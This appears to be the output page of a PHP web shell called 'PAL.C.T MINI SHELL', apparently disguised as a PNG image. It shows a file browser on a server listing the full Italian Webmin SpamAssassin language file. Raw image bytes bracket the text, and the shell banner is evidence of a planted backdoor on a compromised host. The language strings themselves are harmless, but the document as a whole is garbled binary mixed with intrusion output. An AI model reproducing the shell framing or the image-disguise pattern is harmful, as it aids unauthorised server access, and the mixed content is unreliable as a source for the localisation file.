php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/spam/lang/
upload
files >> //usr/libexec/webmin/spam/lang/it.auto

index_title=Filtro posta SpamAssassin
index_ecmd=Il comando SpamAssassin $1 non è stato trovato sul tuo sistema. Forse non è installato o la <a href='$2'>configurazione del modulo</a> non è corretta.
index_ecmd2=Il comando SpamAssassin $1 non è stato trovato sul tuo sistema.
index_econfig=Il file di configurazione locale SpamAssassin o la directory $1 non sono stati trovati sul tuo sistema. Forse SpamAssassin non è installato o la <a href='$2'>configurazione del modulo</a> non è corretta.
index_unknown=sconosciuto
index_edb=Impossibile connettersi al database di configurazione SpamAssassin: $1. Controlla la <a href='$2'>configurazione del modulo</a> per essere sicuro di utilizzare le impostazioni corrette.
index_version=SpamAssassin versione $1 
index_warn_usermin=SpamAssassin non sembra essere impostato nel file di configurazione di Procmail $2 o nel file globale $1, quindi qualsiasi configurazione eseguita utilizzando questo modulo non avrà alcun effetto a meno che SpamAssassin non sia stato impostato a livello globale.
index_warn_webmin=SpamAssassin non sembra essere impostato nel file di configurazione Procmail $1 del sistema, quindi qualsiasi configurazione effettuata utilizzando questo modulo non avrà alcun effetto a meno che gli utenti non lo abbiano impostato singolarmente.
index_return=indice del modulo
index_apply=Applica i cambiamenti
index_applydesc=Fare clic su questo pulsante per applicare la configurazione corrente di SpamAssassin inviando un segnale HUP a tutti i processi $1 in esecuzione.
index_cpan=Poiché SpamAssassin è un modulo Perl, puoi anche installarlo automaticamente utilizzando il modulo <a href='$2'>moduli Perl</a> di Webmin per scaricare $1 da CPAN.
index_spamassassin=SpamAssassin
index_ecannot=Non puoi gestire il file di configurazione SpamAssassin $1 

white_title=Indirizzi consentiti e negati
white_desc=Le tabelle in questa pagina consentono di specificare gli indirizzi Da: e A: per l'e-mail che è sempre o mai classificato come spam. Qualsiasi altra e-mail verrà elaborata normalmente dalle regole di SpamAssassin. Tutti gli indirizzi e-mail possono contenere caratteri jolly, come *@foo.com o *.foo.com per abbinare interi domini.
white_from=Mittenti che non classificheranno mai come spam
white_gfrom=Mittenti a livello di sistema per non classificarli mai come spam
white_unfrom=Eccezioni per i mittenti che non classificano mai come spam
white_addr=Indirizzo del mittente
white_addr2=Indirizzo del destinatario
white_rcvd2=Mittente per non classificarlo mai come spam
white_rcvdhost=Dominio nell'intestazione Ricevuto
white_gunfrom=Eccezioni a livello di sistema per i mittenti che non classificano mai come spam
white_black=Mittenti da classificare sempre come spam
white_gblack=Mittenti a livello di sistema da classificare sempre come spam
white_unblack=Le eccezioni per i mittenti vengono sempre classificate come spam
white_gunblack=Eccezioni a livello di sistema per i mittenti che devono sempre essere classificati come spam
white_to=A: o Cc: indirizzi per consentire a parte o tutto lo spam
white_level=permettere
white_level0=Alcuni spam
white_level1=Più spam
white_level2=Tutto lo spam
white_err=Impossibile salvare le liste bianche e nere
white_efrom='$1' non è un indirizzo From: valido
white_ercvd='$1' non è un nome di dominio valido
white_importdesc=Questo modulo può essere utilizzato per aggiungere indirizzi e-mail da un file (come una rubrica esportata di Outlook o Eudora) all'elenco consentito.
white_import=Importa indirizzi da file
white_sort=Ordinare gli indirizzi consentiti dopo l'importazione?
white_importok=Importa ora
white_return=indirizzi consentiti e negati
white_tabham=Indirizzi consentiti
white_tabspam=Indirizzi negati
white_tabsome=Indirizzi di destinazione
white_tabimport=Importa indirizzi

score_title=Classificazione spam
score_desc=SpamAssassin assegna un punteggio a ciascun messaggio in base al suo contenuto e alle intestazioni. Le opzioni in questa pagina determinano il punteggio al di sopra del quale un messaggio viene considerato spam e alcuni dei metodi attraverso i quali viene calcolato quel punteggio.
score_header=Opzioni di classificazione dei messaggi spam
score_score=SpamAssassin punteggi dei test
score_name=Nome del test
score_points=Punti
score_hits=Hit al di sopra dei quali un messaggio è considerato spam
score_rbl=Salta il controllo relè aperto RBL?
score_mx=Numero di volte da verificare Da: indirizzo MX
score_mxdelay=Secondi da attendere tra i controlli MX
score_langs=Lingue nelle e-mail che non sono considerate potenziali spam
score_langsall=Tutte le lingue
score_langssel=Lingue selezionate
score_locales=Set di caratteri nell'e-mail che non sono considerati potenziali spam
score_localesall=Tutti i set di caratteri
score_localessel=Set di caratteri selezionati ..
score_auto=Fattore punteggio lista bianca
score_timeout=Secondi in attesa di richieste RBL
score_received=Numero di ricevuti: intestazioni da verificare con RBL
score_trusted=Reti e host di cui fidarsi
score_describe=Descrizioni di prova per il rapporto
score_descr=Descrizione
score_err=Impossibile salvare il punteggio del messaggio
score_ename='$1' non è un nome di test valido
score_epoints='$1' non è un numero valido di punti
score_edesc=Descrizione mancante per il punteggio "$1"
score_ehits=Numero di hit mancanti o non validi al di sopra dei quali un messaggio è considerato spam
score_eauto=Fattore di punteggio lista bianca mancante o non valido (deve essere compreso tra 0 e 1)
score_emx=Numero di volte mancante o non valido da controllare Da: indirizzo MX
score_emxdelay=Secondi mancanti o non validi per l'attesa tra i controlli MX
score_etimeout=Secondi mancanti o non validi per attendere le query RBL
score_ereceived=Numero mancante o non valido di Ricevuti: intestazioni da verificare con RBL
score_bayes=Utilizzare il classificatore di apprendimento bayesiano?

report_title=Modifica del messaggio
report_desc=Le opzioni in questa pagina controllano le modifiche apportate da SpamAssassin alle intestazioni e al corpo di tutti i messaggi che analizza e le modifiche apportate a quelle classificate come spam.
report_header=Opzioni di modifica dei messaggi analizzati e di spam
report_report=Rapporto allegato ai messaggi che superano la soglia di spam
report_clear=Usa solo il testo qui sotto. ..
report_noclear=Aggiungi il testo seguente al messaggio predefinito.
report_terse=Segnala allegato ai messaggi di spam in modalità terse
report_rsubject=Aggiungi testo all'oggetto: intestazione
report_rfrom=Aggiungi testo a Da: intestazione
report_rto=Prepend text to To: header
report_leave=Lascia invariato
report_rewrite=Modifica oggetto: intestazione di spam?
report_subject=Testo da anteporre allo spam Oggetto: header
report_rheader=Metti il rapporto in X-Spam-Status: header anziché body?
report_useterse=Generare solo rapporti concreti?
report_fold=Dividi X-Spam-Status: intestazione su più righe?
report_safe=Metti il messaggio originale in allegato?
report_safe2=Sì, come testo normale
report_detail=Includere i dettagli delle frasi spam?
report_stars=Includi livello X-Spam: intestazione?
report_char=X-Spam-Level: carattere di intestazione
report_defang=Cambia il tipo MIME di spam in testo/semplice?
report_err=Impossibile salvare le opzioni del rapporto spam
report_echar=È necessario inserire un singolo personaggio per l'intestazione X-Spam-Level :.
report_adds=Intestazioni aggiuntive da aggiungere
report_addfor=Tipo di messaggio
report_addheader=Intestazione
report_addtext=Testo per intestazione
report_addspam=Spam
report_addham=prosciutto
report_addall=Tutti
report_eaddheader=Intestazione aggiuntiva mancante o non valida per aggiungere $1 

user_title=Opzioni utente varie
user_desc=Le opzioni in questa pagina sono principalmente correlate ai percorsi e alle impostazioni che SpamAssassin utilizza per i pacchetti di identificazione spam esterni Razor, DCC e Pyzor. Puoi anche dire a SpamAssassin se sarà in grado di eseguire ricerche DNS o meno.
user_header=Varie opzioni a livello di utente
user_dns=SpamAssassin può effettuare ricerche DNS?
user_dnslist=Test controllando i server
user_dnstest=Test
user_razor=Timeout richiesta rasoio in secondi
user_dcc=Posizione del programma client DCC
user_inpath=Nel PERCORSO
user_bodymax=Conteggio del checksum del corpo DCC prima della partita
user_fuz1max=Conteggio del checksum DCC fuz1 prima della partita
user_fuz2max=Conteggio del checksum DCC fuz2 prima della partita
user_timeout=Timeout della richiesta DCC in secondi
user_dheader=Aggiungi l'intestazione DCC ai messaggi?
user_pyzor=Posizione del programma client Pyzor
user_pbodymax=Conteggio del checksum del corpo Pyzor prima della partita
user_ptimeout=Timeout richiesta Pyzor in secondi
user_pheader=Aggiungi l'intestazione Pyzor ai messaggi?
user_err=Impossibile salvare le opzioni utente
user_etimeout='$1' non è un timeout valido
user_epath='$1' non è un percorso di programma client valido
user_emax='$1' non è un conteggio di checksum valido

header_title=Test dell'intestazione e del corpo
header_desc=Questa pagina consente di definire ulteriori test che SpamAssassin applicherà all'e-mail, in base alle intestazioni dei messaggi, al contenuto del corpo, agli URL trovati nel corpo o alle combinazioni di altri test. Il nome assegnato a ciascun test dipende da te, ma di solito è qualcosa come CONTAINS_FOO. Il punteggio effettivo che SpamAssassin aggiunge ai messaggi corrispondenti a un test può essere impostato inserendo i nomi dei test propri o incorporati nelle tabelle nella parte inferiore della pagina.
header_switch=Passa alla modalità semplice ..
header_header=Test dell'intestazione e del corpo aggiuntivi
header_allow=Consentire agli utenti di definire i test?
header_test=Test di intestazione
header_tname=Nome del test
header_name=Per l'intestazione
header_op=Controlla se
header_op0=Partite ..
header_op1=Non corrisponde. ..
header_op2=esiste
header_op3=Valutare ..
header_pat=Expession regolare
header_default=Valore di default
header_uri=Test URL e-mail
header_body=Test del corpo
header_mode=Parte del corpo
header_mode0=Testo semplice
header_mode1=Tutto il testo
header_mode2=Testo non elaborato
header_mode3=Posta intera
header_meta=Test basati su altri
header_bool=Espressione del test booleano
header_err=Impossibile salvare i test
header_ename='$1' non è un nome di test valido
header_eclash=Il nome del test '$1' appare più di una volta
header_eregexp2=Espressione mancante per il test '$1'
header_eflags='$1' non sono flag di espressioni regolari validi
header_eeval='$1' non è una funzione di valutazione valida
header_eheader='$1' non è un'intestazione di posta elettronica valida
header_eregexp='$1' non è un'espressione regolare valida (deve essere come / espressione /)
header_emeta=Espressione di test mancante per il test "$1"

priv_title=Opzioni privilegiate varie
priv_desc=Le opzioni su questo possono essere impostate solo a livello globale, piuttosto che nei file di configurazione dei singoli utenti. Controllano con percorsi a vari file di configurazione e registrazione.
priv_header=Varie impostazioni a livello di privilegi
priv_white=Percorso file whitelist automatico
priv_mode=Lista bianca modalità file ottale
priv_dcc=Argomenti del comando DCC
priv_log=Percorso dei file di registro dei tempi
priv_razor=Percorso del file di configurazione del rasoio
priv_phrases=Frasi indicatore di spam
priv_phrase=Frase di due parole
priv_score=Punto
priv_highest=Punteggio della frase più alta
priv_err=Impossibile salvare le opzioni privilegiate
priv_epath='$1' non è un percorso valido
priv_emode='$1' non è una modalità file ottale a 4 cifre
priv_eargs='$1' non è un elenco valido di argomenti
priv_emscore='$1' non è un punteggio di frase più alto valido
priv_ephrase='$1' non è una frase spam valida per due parole
priv_escore=Punteggio mancante o non valido per la frase di spam "$1"

usually=Di solito $1 
ecannot=Non ti è permesso usare questa pagina
setup_title=Installa Procmail per SpamAssassin
setup_desc_webmin=Questo modulo può essere utilizzato per configurare Procmail in $1 per eseguire SpamAssassin su tutti i messaggi e-mail ricevuti dal sistema. Tuttavia, ciò avrà effetto solo se il tuo server di posta è stato configurato per utilizzare Procmail per il recapito locale o per gli utenti i cui file <tt>.forward</tt> sono impostati per eseguire Procmail.
setup_desc_usermin=Questo modulo può essere utilizzato per configurare Procmail in $1 per eseguire SpamAssassin su tutti i messaggi e-mail inviati al tuo account. Tuttavia, ciò avrà effetto solo se il server di posta è stato configurato per utilizzare Procmail per il recapito locale o se i file <tt>.forward</tt> sono impostati per inviare tutta la posta elettronica a Procmail.
setup_head=Tutti i messaggi elaborati da SpamAssassin avranno le intestazioni <tt>X-Spam</tt> impostate, in modo che possano essere ulteriormente filtrate dai client di posta.
setup_rel=Qualsiasi file di posta non assoluto o percorsi di directory immessi sopra saranno relativi alla home directory dell'utente che riceve l'e-mail.
setup_home=La variabile <tt>$ HOME</tt> può essere utilizzata nei percorsi precedenti, che verrà sostituita con la directory home dell'utente che riceve l'e-mail.
setup_to=Azione per i messaggi classificati come spam
setup_null=Buttar via
setup_default=Consegna normalmente
setup_file=Aggiungi al file di posta in formato mbox.
setup_maildir=Aggiungi alla directory di posta in stile Qmail.
setup_mhdir=Aggiungi alla directory di posta in stile MH.
setup_drop=Esegui SpamAssassin e scrivi nel file come
setup_drop1=Utente Unix destinatario
setup_drop0=<tt>utente root</tt>
setup_ok=Installa Procmail per SpamAssassin
setup_email=Inoltra all'indirizzo e-mail

setup_err=Impossibile installare SpamAssassin
setup_efile=File in formato mbox mancante o non valido
setup_emaildir=Directory di posta Qmail mancante o non valida
setup_emhdir=Directory di posta MH mancante o non valida
setup_eemail=Indirizzo email mancante o non valido

log_white=Indirizzi consentiti e negati modificati
log_score=Classificazione spam modificata
log_report=Modifica del messaggio modificata
log_user=Opzioni utente varie modificate
log_header=Test di intestazione e body modificati
log_priv=Opzioni privilegiate varie modificate
log_setup=Installa Procmail per SpamAssassin
log_procmail=Configurazione di Procmail modificata
log_import=$1 indirizzi consentiti importati
log_manual=File di configurazione modificato manualmente

import_title=Importa indirizzi
import_err=Impossibile importare gli indirizzi
import_efile=Nessun file da importare da selezionato
import_enone=Nessun indirizzo email trovato nel file
import_ok1=Nel file sono stati trovati $2 indirizzi email, di cui $1 erano nuovi e sono stati aggiunti all'elenco indirizzi consentito.
import_ok2=$1 indirizzi email sono stati trovati nel file, ma erano già tutti nell'elenco indirizzi consentiti.

mail_title=Mail indesiderata
mail_desc=Questa pagina elenca i messaggi che sono stati classificati come spam e in attesa di alcune azioni. I messaggi che sono stati erroneamente identificati possono essere spostati nella Posta in arrivo, mentre quelli che sono realmente spam possono essere eliminati.
mail_level=Punto
mail_level2=Punteggio spam
mail_inbox=Sposta in posta in arrivo
mail_whitelist2=Consenti mittente e posta in arrivo
mail_razor=Segnala come spam ed elimina
mail_ham=Segnala come prosciutto e posta in arrivo
mail_delete=Elimina
mail_return=lista di posta spam
mail_pos=Messaggi spam da $1 a $2 di $3 
mail_none=Non ci sono messaggi nella tua cartella spam
mail_refresh=ricaricare
mail_will=Aggiornamento automatico in $1 minuti
mail_wills=Aggiornamento automatico in $1 secondi
mail_delall=Elimina tutto lo spam
mail_search3=Cerca il punteggio sopra:

process_eclean=Si è verificato un errore durante la rimozione delle intestazioni di SpamAssassin da questa e-mail
process_ereport=Impossibile segnalare l'email a SpamAssassin : $1 

apply_err=Impossibile applicare le modifiche
apply_none=Nessun processo daemon SpamAssassin trovato!

acl_avail=Icone disponibili per l'utente
acl_file=SpamAssassin file di configurazione da modificare
acl_filedef=File di configurazione globale
acl_awl=Utenti consentiti per la modifica della whitelist automatica
acl_awl0=Tutti gli utenti
acl_awl1=Solo gli utenti elencati $1 
acl_awl2=Solo membri di gruppi $1 

search_escore=Punteggio di spam mancante o non valido
search_results5=$1 messaggi di posta con punteggio di spam pari o superiore a $2 ..

razor_title=Imposta Rasoio Spam Detector
razor_desc=Vipul's Razor è un sistema collaborativo di rilevamento e segnalazione dello spam che può migliorare la classificazione dello spam inviato al tuo indirizzo. Tuttavia, prima di poter essere utilizzato, è necessario registrarsi per un account Razor, utilizzando il modulo sottostante.
razor_user=Nome utente del rasoio
razor_pass=Password del rasoio
razor_auto=Scegli automaticamente
razor_enter=inserito
razor_ok=Installa Ora
razor_ecmd=Il comando di configurazione Razor $1 non è stato trovato sul tuo sistema, indicando che Razor non è installato.
razor_err=Impossibile installare Razor
razor_euser=Nome utente mancante
razor_epass=Password mancante
razor_doing=Ora sto tentando di registrare e installare Razor ..
razor_done=.. fatto.
razor_failed=.. fallito! Vedere l'output dell'errore sopra per il motivo.

amavisd_title=Amamisd Spam Delivery
amavisd_desc=Il modulo può essere utilizzato per modificare la configurazione di Amavisd che determina cosa succede ai messaggi classificati come spam.
amavis_ok=Modifica consegna Amavisd
amavis_tab_config=Configurazione di Amavisd
amavis_tab_quarantine=Quarantena spam
amavis_warn=Se si utilizza Amavisd per il filtro antispam, alcune opzioni verranno ignorate.
amavis_econfig=Il file di configurazione Amavisd $1 non è stato trovato sul tuo sistema. Forse Amavisd non è installato o la <a href='$2'>configurazione del modulo</a> non è corretta.
amavis_hits=Hit al di sopra dei quali un messaggio è considerato spam.
amavis_ehit=I colpi sopra i quali un messaggio è considerato spam non sono un valore!
amavis_ekill=I colpi sopra i quali viene messo in quarantena un messaggio di spam non sono un valore!
amavis_edsn=Hit oltre i quali nessuna notifica viene inviata al mittente non è un valore!
amavis_ecut=I colpi sopra i quali viene eliminato un messaggio di spam non sono un valore!
amavis_eheader=Valore per Modifica oggetto: l'intestazione non è un valore!
amavis_esize=Valore per dimensione sopra strega un messaggio non è controllato per spam non è un valore!
amavis_echar=È necessario inserire un singolo personaggio per l'intestazione X-Spam-Level :.
amavis_esubject=Valore per Prependi text to Subject: header non è un valore!
amavis_elocal=Il valore per disabilitare le fonti Internet non è un valore!
amavis_quarantine_level=Hit al di sopra dei quali viene messo in quarantena un messaggio spam.
amavis_dsn_level=Hit al di sopra delle quali non viene inviata alcuna notifica al mittente.
amavis_delete_level=Hit al di sopra dei quali viene eliminato un messaggio spam.
amavis_report_header=Inserisci X-Spam-Header nel messaggio Spam?
amavis_level_char=Personaggio utilizzato per visualizzare il livello di spam in X-Spam-Level: intestazione.
amavis_rewrite=Modifica oggetto: intestazione di spam?
amavis_rsubject=Aggiungi testo all'oggetto: intestazione
amavis_size_limit=La dimensione del messaggio in byte sopra un messaggio non è controllata per lo spam.
amavis_local_only=Disabilitare le fonti Internet per i controlli antispam?
amavis_quarantine_desc=Mostra dove lo spam è messo in quarantena da Amavisd, visualizza anche le statistiche dello spam se la quarantena locale è abilitata. Se la quarantena è disabilitata o inoltrata a un indirizzo e-mail, non è possibile visualizzare Statistiche spam.
amavis_quarantine_off=Quarantena spam è disabilitata sul tuo sistema. Modifica <tt>spam_Quarantine_to</tt> in <tt>spam-quarantine</tt> nel file <tt>$1</tt> per abilitare Quaratine.
amavis_nostat=Non è possibile visualizzare le statistiche spam.
amavis_spam_admin=Indirizzo e-mail da cui vengono inviate le notifiche (Amministratore spam)
amavis_quarantine_mail=Lo spam in quarantena viene inoltrato all'indirizzo di posta elettronica
amavis_quarantine_bsmtp=Lo spam è messo in quarantena nel formato BSMTP sul file system locale come
amavis_quarantine_local=Lo spam è messo in quarantena nel formato MBOX sul file system locale come
amavis_quarantine_today=Mail di spam in quarantena oggi (24h)
amavis_quarantine_week=Spam mail in Quarantena questa settimana (7 giorni)
amavis_quarantine_month=Posta spam in quarantena questo mese (30 giorni)
amavis_quarantine_total=Numero totale di messaggi spam in quarantena

procmail_title=Consegna spam di Procmail
procmail_ok=Modifica consegna Procmail
procmail_desc=Il modulo può essere utilizzato per modificare la configurazione di Procmail che determina cosa succede ai messaggi classificati come spam.

simple_title=Test dell'intestazione e del corpo
simple_desc=Questa pagina consente di definire ulteriori test che SpamAssassin applicherà all'e-mail, in base alle intestazioni dei messaggi, al contenuto del corpo e agli URL trovati nel corpo. Il nome assegnato a ciascun test dipende da te, ma di solito è qualcosa come CONTAINS_FOO.
simple_switch=Passa alla modalità avanzata ..
simple_header=Test dei messaggi da applicare
simple_name=Nome del test
simple_for=Dai un'occhiata
simple_regexp=Espressione della corrispondenza
simple_score=Punteggio da applicare
simple_describe=Descrizione
simple_err=Impossibile salvare i test dei messaggi

before_ecmd=Comando prima del salvataggio non riuscito : $1 
after_ecmd=Comando dopo il salvataggio non riuscito : $1 

connect_emysql=Caricamento del driver del database $1 non riuscito
connect_elogin=Impossibile accedere al database $1:$2.
connect_equery=Il database $1 non contiene la tabella delle preferenze $2 
connect_eldapmod=Il modulo Perl $1 necessario per comunicare con LDAP non è installato o non è caricabile
connect_eldap=Impossibile connettersi al server LDAP $1 sulla porta $2 
connect_eldaplogin=Impossibile accedere al server LDAP $1 come $2 : $3 
connect_ebase=Il DN di base LDAP $1 non è valido : $2 

eldap=Operazione LDAP non riuscita : $1 
esql=SQL non riuscito : $1 
ldap_euser=Impossibile trovare l'oggetto utente LDAP per $1 

db_title=Database SQL e LDAP
db_header=Opzioni del database di archiviazione della configurazione
db_dsn=Memorizza le configurazioni utente in
db_mode0=File di configurazione
db_mode1=Database SQL
db_mode3=Database LDAP
db_mode4=Altro DSN
db_user=Nome utente del database SQL
db_pass=Password del database SQL
db_luser=Nome utente del server LDAP
db_lpass=Password del server LDAP
db_dbdriver=Tipo di database
db_dbhost=Nome host del server di database
db_dbdb=Nome del database
db_dbport=Numero di porta
db_err=Impossibile salvare i database
db_edbhost=Nome host del server SQL mancante o non valido
db_edbdb=Nome del database mancante o dall'aspetto non valido
db_edbport=Numero di porta del server SQL mancante o non valido
db_edsn=Manca altro DSN
db_eusername=Nome utente del database mancante o non valido: non sono ammessi spazi
db_ldaphost=Nome host del server LDAP
db_ldapport=Numero di porta
db_ldapdn=DN di base per gli utenti
db_ldapattr=Attributo per le preferenze di SpamAssassin
db_ldapscope=Profondità di ricerca
db_ldapsub=Intera sottostruttura
db_ldapone=Un livello
db_ldapbase=Solo base
db_ldapuid=Attributo per nome utente
db_eldaphost=Nome host del server LDAP mancante o non valido
db_eldapport=Numero di porta del server LDAP mancante o non valido
db_eldapdn=DN di base mancante o non valido: non sono consentiti spazi
db_eldapattr=Attributo SpamAssassin mancante o non valido
db_eldapuid=Attributo nome utente mancante o non valido

awl_title=Gestisci whitelist automatiche
awl_search=Cerca nella whitelist per:
awl_ok=Ricerca
awl_searching=Visualizzazione delle voci della whitelist automatica corrispondenti a $1 ..
awl_email=Indirizzo email
awl_ip=IP o rete del mittente
awl_count=Messaggi ricevuti
awl_score=Punteggio da applicare
awl_none=Nessuna
awl_unknown=Sconosciuto
awl_delete=Rimuovi voci selezionate
awl_white=Consenti permanentemente
awl_black=Negare definitivamente
awl_cannot=Usermin non è riuscito ad aprire il file della whitelist automatica <tt>$1</tt>, forse perché è in un formato non supportato.
awl_empty=Il file della whitelist automatica <tt>$1</tt> non contiene alcuna voce. Sarà popolato da SpamAssassin man mano che la posta viene elaborata dal sistema.
awl_user=Mostra lista bianca automatica per l'utente:
awl_uok=Mostrare
awl_nofile=L'utente $1 non ha un file di whitelist automatico.
awl_nouser=L'utente $1 non esiste.
awl_cannotuser=Non puoi modificare la whitelist automatica per l'utente $1.
awl_toomany=Ci sono $1 voci nella whitelist automatica, ma al massimo $2 può essere visualizzato. Usa il modulo di ricerca sopra per limitare quelli mostrati.
awl_deleteone=Cancella lista bianca automatica
awl_deleteonedesc=Rimuovi tutte le voci della whitelist automatica per l'utente $1.
awl_deleteall=Cancella tutte le whitelist automatiche
awl_deletealldesc=Rimuovi tutte le voci della whitelist automatica per tutti gli utenti del sistema.

dawl_err=Impossibile eliminare dalla whitelist automatica
dawl_eopen=Impossibile aprire la whitelist
dawl_enone=Nessun indirizzo da eliminare selezionato
dawl_ecannot=Non sei autorizzato a gestire la whitelist automatica per questo utente
dawl_doing=Eliminazione di whitelist automatiche per tutti gli utenti ..
dawl_done=.. $2 voci cancellate da $1 utenti.
dawl_title=Elimina tutte le whitelist automatiche

manual_title=Modifica file di configurazione
manual_file=Modifica file di configurazione:
manual_ok=ok
manual_efile=File di configurazione non valido!
manual_err=Impossibile salvare il file di configurazione
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`